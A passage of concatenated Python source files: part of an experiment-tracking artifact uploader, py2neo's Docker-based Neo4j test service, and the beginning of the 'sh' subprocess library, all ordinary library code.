artifact_type_data.content_type = mimetypes.guess_type(artifact_object)[0]
local_filename = artifact_object
else:
raise ValueError("Artifact type {} not supported".format(type(artifact_object)))
# remove from existing list, if exists
for artifact in self._task_artifact_list:
if artifact.key == name:
if artifact.type == self._pd_artifact_type:
raise ValueError("Artifact of name {} already registered, "
"use register_artifact instead".format(name))
self._task_artifact_list.remove(artifact)
break
if not local_filename:
file_size = None
file_hash = None
else:
# check that the file to upload exists
local_filename = Path(local_filename).absolute()
if not local_filename.exists() or not local_filename.is_file():
LoggerRoot.get_base_logger().warning('Artifact upload failed, cannot find file {}'.format(
local_filename.as_posix()))
return False
file_hash, _ = self.sha256sum(local_filename.as_posix())
file_size = local_filename.stat().st_size
uri = self._upload_local_file(local_filename, name,
delete_after_upload=delete_after_upload,
override_filename=override_filename_in_uri,
override_filename_ext=override_filename_ext_in_uri)
timestamp = int(time())
artifact = tasks.Artifact(key=name, type=artifact_type,
uri=uri,
content_size=file_size,
hash=file_hash,
timestamp=timestamp,
type_data=artifact_type_data,
display_data=[(str(k), str(v)) for k, v in metadata.items()] if metadata else None)
# update task artifacts
with self._task_edit_lock:
self._task_artifact_list.append(artifact)
self._task.set_artifacts(self._task_artifact_list)
return True
def flush(self):
# start the thread if it hasn't already:
self._start()
# flush the current state of all artifacts
self._flush_event.set()
def stop(self, wait=True):
# stop the daemon thread and quit
# wait until thread exists
self._exit_flag = True
self._flush_event.set()
if wait:
if self._thread:
self._thread.join()
# remove all temp folders
for f in self._temp_folder:
try:
Path(f).rmdir()
except Exception:
pass
def _start(self):
""" Start daemon thread if any artifacts are registered and thread is not up yet """
if not self._thread and self._artifacts_container:
# start the daemon thread
self._flush_event.clear()
self._thread = Thread(target=self._daemon)
self._thread.daemon = True
self._thread.start()
def _daemon(self):
while not self._exit_flag:
self._flush_event.wait(self._flush_frequency_sec)
self._flush_event.clear()
artifact_keys = list(self._artifacts_container.keys())
for name in artifact_keys:
try:
self._upload_data_audit_artifacts(name)
except Exception as e:
LoggerRoot.get_base_logger().warning(str(e))
# create summary
self._summary = self._get_statistics()
def _upload_data_audit_artifacts(self, name):
logger = self._task.get_logger()
pd_artifact = self._artifacts_container.get(name)
pd_metadata = self._artifacts_container.get_metadata(name)
# remove from artifacts watch list
if name in self._unregister_request:
try:
self._unregister_request.remove(name)
except KeyError:
pass
self._artifacts_container.unregister_artifact(name)
if pd_artifact is None:
return
override_filename_ext_in_uri = self._save_format
override_filename_in_uri = name
fd, local_csv = mkstemp(prefix=quote(name, safe="") + '.', suffix=override_filename_ext_in_uri)
os.close(fd)
local_csv = Path(local_csv)
pd_artifact.to_csv(local_csv.as_posix(), index=False, compression=self._compression)
current_sha2, file_sha2 = self.sha256sum(local_csv.as_posix(), skip_header=32)
if name in self._last_artifacts_upload:
previous_sha2 = self._last_artifacts_upload[name]
if previous_sha2 == current_sha2:
# nothing to do, we can skip the upload
try:
local_csv.unlink()
except Exception:
pass
return
self._last_artifacts_upload[name] = current_sha2
# If old trains-server, upload as debug image
if not Session.check_min_api_version('2.3'):
logger.report_image(title='artifacts', series=name, local_path=local_csv.as_posix(),
delete_after_upload=True, iteration=self._task.get_last_iteration(),
max_image_history=2)
return
# Find our artifact
artifact = None
for an_artifact in self._task_artifact_list:
if an_artifact.key == name:
artifact = an_artifact
break
file_size = local_csv.stat().st_size
# upload file
uri = self._upload_local_file(local_csv, name, delete_after_upload=True,
override_filename=override_filename_in_uri,
override_filename_ext=override_filename_ext_in_uri)
# update task artifacts
with self._task_edit_lock:
if not artifact:
artifact = tasks.Artifact(key=name, type=self._pd_artifact_type)
self._task_artifact_list.append(artifact)
artifact_type_data = tasks.ArtifactTypeData()
artifact_type_data.data_hash = current_sha2
artifact_type_data.content_type = "text/csv"
artifact_type_data.preview = str(pd_artifact.__repr__())+'\n\n'+self._get_statistics({name: pd_artifact})
artifact.type_data = artifact_type_data
artifact.uri = uri
artifact.content_size = file_size
artifact.hash = file_sha2
artifact.timestamp = int(time())
artifact.display_data = [(str(k), str(v)) for k, v in pd_metadata.items()] if pd_metadata else None
self._task.set_artifacts(self._task_artifact_list)
def _upload_local_file(self, local_file, name, delete_after_upload=False,
override_filename=None,
override_filename_ext=None):
"""
Upload local file and return uri of the uploaded file (uploading in the background)
"""
upload_uri = self._task.output_uri or self._task.get_logger().get_default_upload_destination()
if not isinstance(local_file, Path):
local_file = Path(local_file)
ev = UploadEvent(metric='artifacts', variant=name,
image_data=None, upload_uri=upload_uri,
local_image_path=local_file.as_posix(),
delete_after_upload=delete_after_upload,
override_filename=override_filename,
override_filename_ext=override_filename_ext,
override_storage_key_prefix=self._get_storage_uri_prefix())
_, uri = ev.get_target_full_upload_uri(upload_uri)
# send for upload
self._task.reporter._report(ev)
return uri
def _get_statistics(self, artifacts_dict=None):
summary = ''
artifacts_dict = artifacts_dict or self._artifacts_container
thread_pool = ThreadPool()
try:
# build hash row sets
artifacts_summary = []
for a_name, a_df in artifacts_dict.items():
hash_cols = self._artifacts_container.get_hash_columns(a_name)
if not pd or not isinstance(a_df, pd.DataFrame):
continue
if hash_cols is True:
hash_col_drop = []
else:
hash_cols = set(hash_cols)
missing_cols = hash_cols.difference(a_df.columns)
if missing_cols == hash_cols:
LoggerRoot.get_base_logger().warning(
'Uniqueness columns {} not found in artifact {}. '
'Skipping uniqueness check for artifact.'.format(list(missing_cols), a_name)
)
continue
elif missing_cols:
# missing_cols must be a subset of hash_cols
hash_cols.difference_update(missing_cols)
LoggerRoot.get_base_logger().warning(
'Uniqueness columns {} not found in artifact {}. Using {}.'.format(
list(missing_cols), a_name, list(hash_cols)
)
)
hash_col_drop = [col for col in a_df.columns if col not in hash_cols]
a_unique_hash = set()
def hash_row(r):
a_unique_hash.add(hash(bytes(r)))
a_shape = a_df.shape
# parallelize
a_hash_cols = a_df.drop(columns=hash_col_drop)
thread_pool.map(hash_row, a_hash_cols.values)
# add result
artifacts_summary.append((a_name, a_shape, a_unique_hash,))
# build intersection summary
for i, (name, shape, unique_hash) in enumerate(artifacts_summary):
summary += '[{name}]: shape={shape}, {unique} unique rows, {percentage:.1f}% uniqueness\n'.format(
name=name, shape=shape, unique=len(unique_hash), percentage=100*len(unique_hash)/float(shape[0]))
for name2, shape2, unique_hash2 in artifacts_summary[i+1:]:
intersection = len(unique_hash & unique_hash2)
summary += '\tIntersection with [{name2}] {intersection} rows: {percentage:.1f}%\n'.format(
name2=name2, intersection=intersection, percentage=100*intersection/float(len(unique_hash2)))
except Exception as e:
LoggerRoot.get_base_logger().warning(str(e))
finally:
thread_pool.close()
thread_pool.terminate()
return summary
def _get_temp_folder(self, force_new=False):
if force_new or not self._temp_folder:
new_temp = mkdtemp(prefix='artifacts_')
self._temp_folder.append(new_temp)
return new_temp
return self._temp_folder[0]
def _get_storage_uri_prefix(self):
if not self._storage_prefix:
self._storage_prefix = self._task._get_output_destination_suffix()
return self._storage_prefix
@staticmethod
def sha256sum(filename, skip_header=0):
# create sha2 of the file, notice we skip the header of the file (32 bytes)
# because sometimes that is the only change
h = hashlib.sha256()
file_hash = hashlib.sha256()
b = bytearray(Artifacts._hash_block_size)
mv = memoryview(b)
try:
with open(filename, 'rb', buffering=0) as f:
# skip header
if skip_header:
file_hash.update(f.read(skip_header))
for n in iter(lambda: f.readinto(mv), 0):
h.update(mv[:n])
if skip_header:
file_hash.update(mv[:n])
except Exception as e:
LoggerRoot.get_base_logger().warning(str(e))
return None, None
return h.hexdigest(), file_hash.hexdigest() if skip_header else None
|
__init__.py
|
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# Copyright 2011-2020, Nigel Small
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from logging import getLogger
from os import chmod, path
from random import choice
from shutil import rmtree
from tempfile import mkdtemp
from threading import Thread
from time import sleep
from docker import DockerClient
from docker.errors import APIError, ImageNotFound
from packaging.version import Version
from py2neo.compat import perf_counter
from py2neo.security import Auth, make_auth, install_certificate, install_private_key
from py2neo.wiring import Address, Wire
docker = DockerClient.from_env(version="auto")
log = getLogger(__name__)
def random_name(size):
return "".join(choice("bcdfghjklmnpqrstvwxz") for _ in range(size))
class Neo4jInstance(object):
""" A single Neo4j server instance, potentially part of a cluster.
"""
container = None
ip_address = None
ready = 0
def __init__(self, service, name, bolt_port=None, http_port=None, https_port=None):
self.service = service
self.name = name
self.bolt_port = bolt_port
self.http_port = http_port
self.https_port = https_port
self.address = self.addresses["bolt"]
self.cert_volume_dir = None
self.config = self._create_config(self.service)
self.env = self._create_env(self.service)
ports = {"7687/tcp": self.bolt_port,
"7474/tcp": self.http_port}
volumes = {}
if self.service.secured:
cert, key = self.service.cert_key_pair
ports["7473/tcp"] = self.https_port
self.cert_volume_dir = mkdtemp()
chmod(self.cert_volume_dir, 0o755)
log.debug("Using directory %r as shared certificate volume", self.cert_volume_dir)
if self.service.image.version >= Version("4.0"):
subdirectories = [path.join(self.cert_volume_dir, subdir)
for subdir in ["bolt", "https"]]
install_certificate(cert, "public.crt", *subdirectories)
install_private_key(key, "private.key", *subdirectories)
else:
install_certificate(cert, "neo4j.cert", self.cert_volume_dir)
install_private_key(key, "neo4j.key", self.cert_volume_dir)
volumes[self.cert_volume_dir] = {
"bind": "/var/lib/neo4j/certificates",
"mode": "ro",
}
self.container = docker.containers.create(
self.image.id,
detach=True,
environment=self.env,
hostname=self.fq_name,
name=self.fq_name,
network=self.service.name,
ports=ports,
volumes=volumes,
)
def __hash__(self):
return hash(self.container)
def __repr__(self):
return "%s(fq_name={!r}, image={!r}, address={!r})".format(
self.__class__.__name__, self.fq_name,
self.image, self.address)
def _create_config(self, service):
config = {
"dbms.backup.enabled": "false",
"dbms.connector.bolt.advertised_address": "localhost:{}".format(self.bolt_port),
"dbms.memory.heap.initial_size": "300m",
"dbms.memory.heap.max_size": "500m",
"dbms.memory.pagecache.size": "50m",
"dbms.transaction.bookmark_ready_timeout": "5s",
}
# Security configuration
if service.secured:
if service.image.version >= Version("4.0"):
config.update({
"dbms.ssl.policy.bolt.enabled": True,
"dbms.ssl.policy.https.enabled": True,
"dbms.connector.bolt.tls_level": "OPTIONAL",
"dbms.connector.https.enabled": True,
})
else:
pass
return config
def _create_env(self, service):
env = {}
# Enterprise edition requires license agreement
# TODO: make this externally explicit, somehow
if service.image.edition == "enterprise":
env["NEO4J_ACCEPT_LICENSE_AGREEMENT"] = "yes"
# Add initial auth details
if service.auth:
env["NEO4J_AUTH"] = "/".join(service.auth)
# Add config
for key, value in self.config.items():
fixed_key = "NEO4J_" + key.replace("_", "__").replace(".", "_")
env[fixed_key] = value
return env
@property
def fq_name(self):
return "{}.{}".format(self.name, self.service.name)
@property
def image(self):
return self.service.image
@property
def addresses(self):
addresses = {
"bolt": Address(("localhost", self.bolt_port)),
"http": Address(("localhost", self.http_port)),
}
if self.service.secured:
addresses["bolt+s"] = Address(("localhost", self.bolt_port))
addresses["bolt+ssc"] = Address(("localhost", self.bolt_port))
addresses["https"] = Address(("localhost", self.https_port))
addresses["http+s"] = Address(("localhost", self.https_port))
addresses["http+ssc"] = Address(("localhost", self.https_port))
return addresses
def start(self):
log.info("Starting instance %r with image %r",
self.fq_name, self.service.image)
for scheme, address in self.addresses.items():
log.info(" at <%s://%s>", scheme, address)
try:
self.container.start()
self.container.reload()
self.ip_address = (self.container.attrs["NetworkSettings"]
["Networks"][self.service.name]["IPAddress"])
except APIError as e:
log.exception(e)
log.debug("Machine %r is bound to internal IP address %s",
self.fq_name, self.ip_address)
def _poll_bolt_address(self, count=240, interval=0.5, is_running=None):
address = self.addresses["bolt"]
t0 = perf_counter()
for _ in range(count):
if callable(is_running) and not is_running():
break
wire = None
try:
wire = Wire.open(address, keep_alive=True)
wire.write(b"\x60\x60\xB0\x17"
b"\x00\x00\x01\x04"
b"\x00\x00\x00\x04"
b"\x00\x00\x00\x03"
b"\x00\x00\x00\x02")
wire.send()
data = wire.read(4)
except OSError:
sleep(interval)
else:
t1 = perf_counter() - t0
log.info("Machine {!r} available "
"for Bolt traffic "
"after {:.02f}s".format(self.fq_name, t1))
return True
finally:
if wire:
wire.close()
return False
def _poll_http_address(self, count=240, interval=0.5, is_running=None):
address = self.addresses["http"]
t0 = perf_counter()
for _ in range(count):
if callable(is_running) and not is_running():
break
wire = None
try:
wire = Wire.open(address, keep_alive=True)
wire.write("GET / HTTP/1.1\r\n"
"Host: {}\r\n\r\n".format(address.host).encode("ASCII"))
wire.send()
data = wire.read(4)
except OSError:
sleep(interval)
else:
t1 = perf_counter() - t0
log.info("Machine {!r} available "
"for HTTP traffic "
"after {:.02f}s".format(self.fq_name, t1))
return True
finally:
if wire:
wire.close()
return False
def await_started(self):
sleep(1)
def is_running():
self.container.reload()
return self.container.status == "running"
if is_running():
result = {}
def poll_bolt_address():
result["bolt"] = self._poll_bolt_address(is_running=is_running)
def poll_http_address():
result["http"] = self._poll_http_address(is_running=is_running)
threads = [
Thread(target=poll_bolt_address),
Thread(target=poll_http_address),
]
for t in threads:
t.start()
for t in threads:
t.join()
if any(value is False for value in result.values()):
self.container.reload()
state = self.container.attrs["State"]
if state["Status"] == "exited":
self.ready = -1
log.error("Machine %r exited with code %r",
self.fq_name, state["ExitCode"])
for line in self.container.logs().splitlines():
log.error("> %s" % line.decode("utf-8"))
else:
log.error("Machine %r did not "
"become available", self.fq_name)
else:
self.ready = 1
else:
log.error("Machine %r is not running (status=%r)",
self.fq_name, self.container.status)
for line in self.container.logs().splitlines():
log.error("> %s" % line.decode("utf-8"))
def stop(self):
log.info("Stopping instance %r", self.fq_name)
self.container.stop()
self.container.remove(force=True)
if self.cert_volume_dir:
log.debug("Removing directory %r", self.cert_volume_dir)
rmtree(self.cert_volume_dir)
class Neo4jService(object):
""" A Neo4j database management service.
"""
default_bolt_port = 7687
default_http_port = 7474
default_https_port = 7473
@classmethod
def single_instance(cls, name, image_tag, auth, cert_key_pair=None):
service = cls(name, image_tag, auth, cert_key_pair)
ports = {
"bolt_port": 7687,
"http_port": 7474,
}
if service.secured:
ports["https_port"] = 7473
service.instances.append(Neo4jInstance(service, "a", **ports))
return service
def __init__(self, name, image_tag, auth, cert_key_pair):
self.name = name or random_name(7)
self.image = Neo4jImage(image_tag)
self.auth = Auth(*auth) if auth else make_auth()
if self.auth.user != "neo4j":
raise ValueError("Auth user must be 'neo4j' or empty")
self.cert_key_pair = cert_key_pair
self.instances = []
self.network = None
self.console = None
def __enter__(self):
try:
self.start()
except KeyboardInterrupt:
self.stop()
raise
else:
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.stop()
def _get_instance_by_address(self, address):
address = Address((address.host, address.port_number))
for instance in self.instances:
if instance.addresses["bolt"] == address:
return instance
def _for_each_instance(self, f):
threads = []
for instance in self.instances:
thread = Thread(target=f(instance))
thread.daemon = True
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
@property
def secured(self):
if self.cert_key_pair is None or self.cert_key_pair == (None, None):
return False
else:
return True
def start(self):
self.network = docker.networks.create(self.name)
self._for_each_instance(lambda instance: instance.start)
self.await_started()
def await_started(self):
def wait(instance):
instance.await_started()
self._for_each_instance(wait)
if all(instance.ready == 1 for instance in self.instances):
log.info("Neo4j %s %s service %r available",
self.image.edition.title(), self.image.version, self.name)
else:
raise RuntimeError("Service %r unavailable - "
"some instances failed" % self.name)
def stop(self):
log.info("Stopping service %r", self.name)
def _stop(instance):
instance.stop()
self._for_each_instance(_stop)
if self.network:
self.network.remove()
@classmethod
def find_and_stop(cls, service_name):
for container in docker.containers.list(all=True):
if container.name.endswith(".{}".format(service_name)):
container.stop()
container.remove(force=True)
docker.networks.get(service_name).remove()
def env(self):
addresses = [instance.address for instance in self.instances]
auth = "{}:{}".format(self.auth.user, self.auth.password)
return {
"BOLT_SERVER_ADDR": " ".join(map(str, addresses)),
"NEO4J_AUTH": auth,
}
class Neo4jImage(object):
def __init__(self, tag="latest"):
self._image_tag = self._resolve_image_tag(tag)
try:
self._image = docker.images.get(self._image_tag)
except ImageNotFound:
log.info("Downloading Docker image %r", self._image_tag)
self._image = docker.images.pull(self._image_tag)
def __repr__(self):
return "Neo4jImage(tag=%r)" % self._image_tag
@property
def id(self):
return self._image.id
@property
def tarball(self):
""" Name of the Neo4j tarball used to build the Docker image
used by this service.
"""
for item in self._image.attrs["Config"]["Env"]:
name, _, value = item.partition("=")
if name == "NEO4J_TARBALL":
return value
@property
def edition(self):
""" Edition of Neo4j used to build the Docker image used by
this service.
"""
_, edition, _, _ = self.tarball.split("-")
return edition
@property
def version(self):
""" Version of Neo4j used to build the Docker image used by
this service.
"""
_, _, version, _ = self.tarball.split("-")
return Version(version)
@classmethod
def _resolve_image_tag(cls, tag):
""" Resolve an informal image tag into a full Docker image tag. Any tag
available on Docker Hub for Neo4j can be used, and if no 'neo4j:' prefix
exists, this will be added automatically. The default edition is
Community, unless a cluster is being created in which case Enterprise
edition is selected instead. Explicit selection of Enterprise edition can
be made by adding an '-enterprise' suffix to the image tag.
If a 'file:' URI is passed in here instead of an image tag, the Docker
image will be loaded from that file instead.
Examples of valid tags:
- 3.4.6
- neo4j:3.4.6
- latest
- file:/home/me/image.tar
"""
resolved = tag
if resolved.startswith("file:"):
return cls._load_image_from_file(resolved[5:])
if ":" not in resolved:
resolved = "neo4j:" + tag
return resolved
@classmethod
def _load_image_from_file(cls, name):
with open(name, "rb") as f:
images = docker.images.load(f.read())
image = images[0]
return image.tags[0]
|
sh.py
|
"""
http://amoffat.github.io/sh/
"""
# ===============================================================================
# Copyright (C) 2011-2020 by Andrew Moffat
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# ===============================================================================
__version__ = "1.13.1"
__project_url__ = "https://github.com/amoffat/sh"
from collections import deque, Mapping
from contextlib import contextmanager
from functools import partial
from io import UnsupportedOperation, open as fdopen
from locale import getpreferredencoding
from types import ModuleType, GeneratorType
import ast
import errno
import fcntl
import gc
import getpass
import glob as glob_module
import inspect
import logging
import os
import platform
import pty
import pwd
import re
import select
import signal
import stat
import struct
import sys
import termios
import threading
import time
import traceback
import tty
import warnings
import weakref
IS_PY3 = sys.version_info[0] == 3
MINOR_VER = sys.version_info[1]
IS_PY26 = sys.version_info[0] == 2 and MINOR_VER == 6
if IS_PY3:
from io import StringIO
ioStringIO = StringIO
from io import BytesIO as cStringIO
iocStringIO = cStringIO
from queue import Queue, Empty
# for some reason, python 3.1 removed the builtin "callable", wtf
if not hasattr(__builtins__, "callable"):
def callable(ob):
return hasattr(ob, "__call__")
else:
from StringIO import StringIO
from cStringIO import OutputType as cStringIO
from io import StringIO as ioStringIO
from io import BytesIO as iocStringIO
from Queue import Queue, Empty
try:
from shlex import quote as shlex_quote # here from 3.3 onward
except ImportError:
from pipes import quote as shlex_quote # undocumented before 2.7
if "windows" in platform.system().lower(): # pragma: no cover
raise ImportError("sh %s is currently only supported on linux and osx. \
please install pbs 0.110 (http://pypi.python.org/pypi/pbs) for windows \
support." % __version__)
DEFAULT_ENCODING = getpreferredencoding() or "UTF-8"
IS_MACOS = platform.system() in ("AIX", "Darwin")
THIS_DIR = os.path.dirname(os.path.realpath(__file__))
SH_LOGGER_NAME = __name__
# normally i would hate this idea of using a global to signify whether we are
# running tests, because it breaks the assumption that what is running in the
# tests is what will run live, but we ONLY use this in a place that has no
# serious side-effects that could change anything. as long as we do that, it
# should be ok
RUNNING_TESTS = bool(int(os.environ.get("SH_TESTS_RUNNING", "0")))
FORCE_USE_SELECT = bool(int(os.environ.get("SH_TESTS_USE_SELECT", "0")))
# a re-entrant lock for pushd. this way, multiple threads that happen to use
# pushd will all see the current working directory for the duration of the
# with-context
PUSHD_LOCK = threading.RLock()
if hasattr(inspect, "getfullargspec"):
def get_num_args(fn):
return len(inspect.getfullargspec(fn).args)
else:
def get_num_args(fn):
return len(inspect.getargspec(fn).args)
if IS_PY3:
raw_input = input
unicode = str
basestring = str
long = int
_unicode_methods = set(dir(unicode()))
HAS_POLL = hasattr(select, "poll")
POLLER_EVENT_READ = 1
POLLER_EVENT_WRITE = 2
POLLER_EVENT_HUP = 4
POLLER_EVENT_ERROR = 8
# here we use an use a poller interface that transparently selects the most
# capable poller (out of either select.select or select.poll). this was added
# by zhangyafeikimi when he discovered that if the fds created internally by sh
# numbered > 1024, select.select failed (a limitation of select.select). this
# can happen if your script opens a lot of files
if HAS_POLL and not FORCE_USE_SELECT:
class Poller(object):
def __init__(self):
self._poll = select.poll()
# file descriptor <-> file object bidirectional maps
self.fd_lookup = {}
self.fo_lookup = {}
def __nonzero__(self):
return len(self.fd_lookup) != 0
def __len__(self):
return len(self.fd_lookup)
def _set_fileobject(self, f):
if hasattr(f, "fileno"):
fd = f.fileno()
self.fd_lookup[fd] = f
self.fo_lookup[f] = fd
else:
self.fd_lookup[f] = f
self.fo_lookup[f] = f
def _remove_fileobject(self, f):
if hasattr(f, "fileno"):
fd = f.fileno()
del self.fd_lookup[fd]
del self.fo_lookup[f]
else:
del self.fd_lookup[f]
del self.fo_lookup[f]
def _get_file_descriptor(self, f):
return self.fo_lookup.get(f)
def _get_file_object(self, fd):
return self.fd_lookup.get(fd)
def _register(self, f, events):
# f can be a file descriptor or file object
self._set_fileobject(f)
fd = self._get_file_descriptor(f)
self._poll.register(fd, events)
def register_read(self, f):
self._register(f, select.POLLIN | select.POLLPRI)
def register_write(self, f):
self._register(f, select.POLLOUT)
def register_error(self, f):
self._register(f, select.POLLERR | select.POLLHUP | select.POLLNVAL)
def unregister(self, f):
fd = self._get_file_descriptor(f)
self._poll.unregister(fd)
self._remove_fileobject(f)
def poll(self, timeout):
if timeout is not None:
# convert from seconds to milliseconds
timeout *= 1000
changes = self._poll.poll(timeout)
results = []
for fd, events in changes:
f = self._get_file_object(fd)
if events & (select.POLLIN | select.POLLPRI):
results.append((f, POLLER_EVENT_READ))
elif events & select.POLLOUT:
results.append((f, POLLER_EVENT_WRITE))
elif events & select.POLLHUP:
results.append((f, POLLER_EVENT_HUP))
elif events & (select.POLLERR | select.POLLNVAL):
results.append((f, POLLER_EVENT_ERROR))
return results
else:
class Poller(object):
def __init__(self):
self.rlist = []
self.wlist = []
self.xlist = []
def __nonzero__(self):
return len(self.rlist) + len(self.wlist) + len(self.xlist) != 0
def __len__(self):
return len(self.rlist) + len(self.wlist) + len(self.xlist)
@staticmethod
def _register(f, events):
if f not in events:
events.append(f)
@staticmethod
def _unregister(f, events):
if f in events:
events.remove(f)
def register_read(self, f):
self._register(f, self.rlist)
def register_write(self, f):
self._register(f, self.wlist)
def register_error(self, f):
self._register(f, self.xlist)
def unregister(self, f):
self._unregister(f, self.rlist)
self._unregister(f, self.wlist)
self._unregister(f, self.xlist)
def poll(self, timeout):
_in, _out, _err = select.select(self.rlist, self.wlist, self.xlist, timeout)
results = []
for f in _in:
results.append((f, POLLER_EVENT_READ))
for f in _out:
results.append((f, POLLER_EVENT_WRITE))
for f in _err:
results.append((f, POLLER_EVENT_ERROR))
return results
def encode_to_py3bytes_or_py2str(s):
""" takes anything and attempts to return a py2 string or py3 bytes. this
is typically used when creating command + arguments to be executed via
os.exec* """
fallback_encoding = "utf8"
if IS_PY3:
# if we're already bytes, do nothing
if isinstance(s, bytes):
pass
else:
s = str(s)
try:
s = bytes(s, DEFAULT_ENCODING)
except UnicodeEncodeError:
s = bytes(s, fallback_encoding)
else:
# attempt to convert the thing to unicode from the system's encoding
try:
s = unicode(s, DEFAULT_ENCODING)
# if the thing is already unicode, or it's a number, it can't be
# coerced to unicode with an encoding argument, but if we leave out
# the encoding argument, it will convert it to a string, then to unicode
except TypeError:
s = unicode(s)
# now that we have guaranteed unicode, encode to our system encoding,
# but attempt to fall back to something
try:
s = s.encode(DEFAULT_ENCODING)
except UnicodeEncodeError:
s = s.encode(fallback_encoding, "replace")
return s
def _indent_text(text, num=4):
lines = []
for line in text.split("\n"):
line = (" " * num) + line
lines.append(line)
return "\n".join(lines)
class ForkException(Exception):
def __init__(self, orig_exc):
tmpl = """
Original exception:
===================
%s
"""
msg = tmpl % _indent_text(orig_exc)
Exception.__init__(self, msg)
class ErrorReturnCodeMeta(type):
""" a metaclass which provides the ability for an ErrorReturnCode (or
derived) instance, imported from one sh module, to be considered the
subclass of ErrorReturnCode from another module. this is mostly necessary
in the tests, where we do assertRaises, but the ErrorReturnCode that the
program we're testing throws may not be the same class that we pass to
assertRaises
"""
def __subclasscheck__(self, o):
other_bases = set([b.__name__ for b in o.__bases__])
return self.__name__ in other_bases or o.__name__ == self.__name__
class ErrorReturnCode(Exception):
__metaclass__ = ErrorReturnCodeMeta
""" base class for all exceptions as a result of a command's exit status
being deemed an error. this base class is dynamically subclassed into
derived classes with the format: ErrorReturnCode_NNN where NNN is the exit
code number. the reason for this is it reduces boiler plate code when
testing error return codes:
try:
some_cmd()
except ErrorReturnCode_12:
print("couldn't do X")
vs:
try:
some_cmd()
except ErrorReturnCode as e:
if e.exit_code == 12:
print("couldn't do X")
it's not much of a savings, but i believe it makes the code easier to read """
truncate_cap = 750
def __reduce__(self):
return self.__class__, (self.full_cmd, self.stdout, self.stderr, self.truncate)
def __init__(self, full_cmd, stdout, stderr, truncate=True):
self.full_cmd = full_cmd
self.stdout = stdout
self.stderr = stderr
self.truncate = truncate
exc_stdout = self.stdout
if truncate:
exc_stdout = exc_stdout[:self.truncate_cap]
out_delta = len(self.stdout) - len(exc_stdout)
if out_delta:
exc_stdout += ("... (%d more, please see e.stdout)" % out_delta).encode()
exc_stderr = self.stderr
if truncate:
exc_stderr = exc_stderr[:self.truncate_cap]
err_delta = len(self.stderr) - len(exc_stderr)
if err_delta:
exc_stderr += ("... (%d more, please see e.stderr)" % err_delta).encode()
msg_tmpl = unicode("\n\n RAN: {cmd}\n\n STDOUT:\n{stdout}\n\n STDERR:\n{stderr}")
msg = msg_tmpl.format(
cmd=self.full_cmd,
stdout=exc_stdout.decode(DEFAULT_ENCODING, "replace"),
stderr=exc_stderr.decode(DEFAULT_ENCODING, "replace")
)
if not IS_PY3:
# Exception messages should be treated as an API which takes native str type on both
# Python2 and Python3. (Meaning, it's a byte string on Python2 and a text string on
# Python3)
msg = encode_to_py3bytes_or_py2str(msg)
super(ErrorReturnCode, self).__init__(msg)
class SignalException(ErrorReturnCode):
pass
class TimeoutException(Exception):
""" the exception thrown when a command is killed because a specified
timeout (via _timeout or .wait(timeout)) was hit """
def __init__(self, exit_code, full_cmd):
self.exit_code = exit_code
self.full_cmd = full_cmd
super(Exception, self).__init__()
SIGNALS_THAT_SHOULD_THROW_EXCEPTION = set((
signal.SIGABRT,
signal.SIGBUS,
signal.SIGFPE,
signal.SIGILL,
signal.SIGINT,
signal.SIGKILL,
signal.SIGPIPE,
signal.SIGQUIT,
signal.SIGSEGV,
signal.SIGTERM,
signal.SIGSYS,
))
# we subclass AttributeError because:
# https://github.com/ipython/ipython/issues/2577
# https://github.com/amoffat/sh/issues/97#issuecomment-10610629
class CommandNotFound(AttributeError):
pass
rc_exc_regex = re.compile(r"(ErrorReturnCode|SignalException)_((\d+)|SIG[a-zA-Z]+)")
rc_exc_cache = {}
SIGNAL_MAPPING = dict([(v, k) for k, v in signal.__dict__.items() if re.match(r"SIG[a-zA-Z]+", k)])
def get_exc_from_name(name):
""" takes an exception name, like:
ErrorReturnCode_1
SignalException_9
SignalException_SIGHUP
and returns the corresponding exception. this is primarily used for
importing exceptions from sh into user code, for instance, to capture those
exceptions """
exc = None
try:
return rc_exc_cache[name]
except KeyError:
m = rc_exc_regex.match(name)
if m:
base = m.group(1)
rc_or_sig_name = m.group(2)
if base == "SignalException":
try:
rc = -int(rc_or_sig_name)
except ValueError:
rc = -getattr(signal, rc_or_sig_name)
else:
rc = int(rc_or_sig_name)
exc = get_rc_exc(rc)
return exc
def get_rc_exc(rc):
""" takes a exit code or negative signal number and produces an exception
that corresponds to that return code. positive return codes yield
ErrorReturnCode exception, negative return codes yield SignalException
we also cache the generated exception so that only one signal of that type
exists, preserving identity """
try:
return rc_exc_cache[rc]
except KeyError:
pass
if rc > 0:
name = "ErrorReturnCode_%d" % rc
base = ErrorReturnCode
else:
signame = SIGNAL_MAPPING[abs(rc)]
name = "SignalException_" + signame
base = SignalException
exc = ErrorReturnCodeMeta(name, (base,), {"exit_code": rc})
rc_exc_cache[rc] = exc
return exc
# we monkey patch glob. i'm normally generally against monkey patching, but i
# decided to do this really un-intrusive patch because we need a way to detect
# if a list that we pass into an sh command was generated from glob. the reason
# being that glob returns an empty list if a pattern is not found, and so
